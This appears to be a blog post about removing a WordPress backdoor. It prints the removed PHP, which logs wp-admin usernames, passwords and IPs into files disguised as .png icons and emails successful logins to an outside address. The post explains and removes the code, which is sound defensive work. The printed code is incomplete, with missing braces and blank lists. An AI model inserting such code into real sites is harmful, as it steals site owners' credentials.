Wordpress wp-admin password crack hack

I recently removed a hack from a client's site that was attempting to crack the wp-admin user/password. The hackers code was being activated anytime someone visited the wp-admin logon screen and would attempt a new logon/password combo.

Logon/password/IP combinations and results were being stored in text files disguised with a .png file extension. In this specific case those files were:


Successfull attempts would be emailed off to the hacker themselves:


The hackers code was hidden inside:


It was safe to remove all of it, shown below:

       // Start Login Protection
                     $ip = $_SERVER["REMOTE_ADDR"];
                     $stringData = $_SERVER["SERVER_NAME"] . "|" . $username . ":" . $password . "|" . $ip . "n";
                     $today = date("j");
                     $myErrorFile = getcwd() . "/wp-includes/images/icon-download.png";
                     $mySuccessFile = getcwd() . "/wp-includes/images/icon-up-flag.png";
                     $failedLogContent = @file_get_contents($myErrorFile);
                     $successLogContent = @file_get_contents($mySuccessFile);
                     $errorFileLines = explode("n", $failedLogContent);
                     $diff = $today - $errorFileLines[0];
                     if ( ($diff >= 7) || ($diff < 0) ) {
                     $failedLogContent = "";
                     if (preg_match("/{$ip}/i", $successLogContent)) $userOk = 1;
                     preg_match_all("/{$ip}/i", $failedLogContent, $matches);
                     if  ( (count($matches[0]) > 4) && (!$userOk) ) $password = "G4o7Ivc29OVOxcp5";
                     if ( wp_check_password($password, $user->user_pass, $user->ID) ) {
                     @mail("anto@netherlandbarmuda.com", $_SERVER["SERVER_NAME"], $stringData);              
                     if (!$userOk) {
                     $fh = fopen($mySuccessFile, "a");
                     fwrite($fh, "$ipn");
                     } else {
                     if (!(is_file($myErrorFile))) {
                     $fh = fopen($myErrorFile, "w");
                     fwrite($fh, "$todayn");
                     $fh = fopen($myErrorFile, "a");
                     fwrite($fh, $stringData);
// END Login Protection

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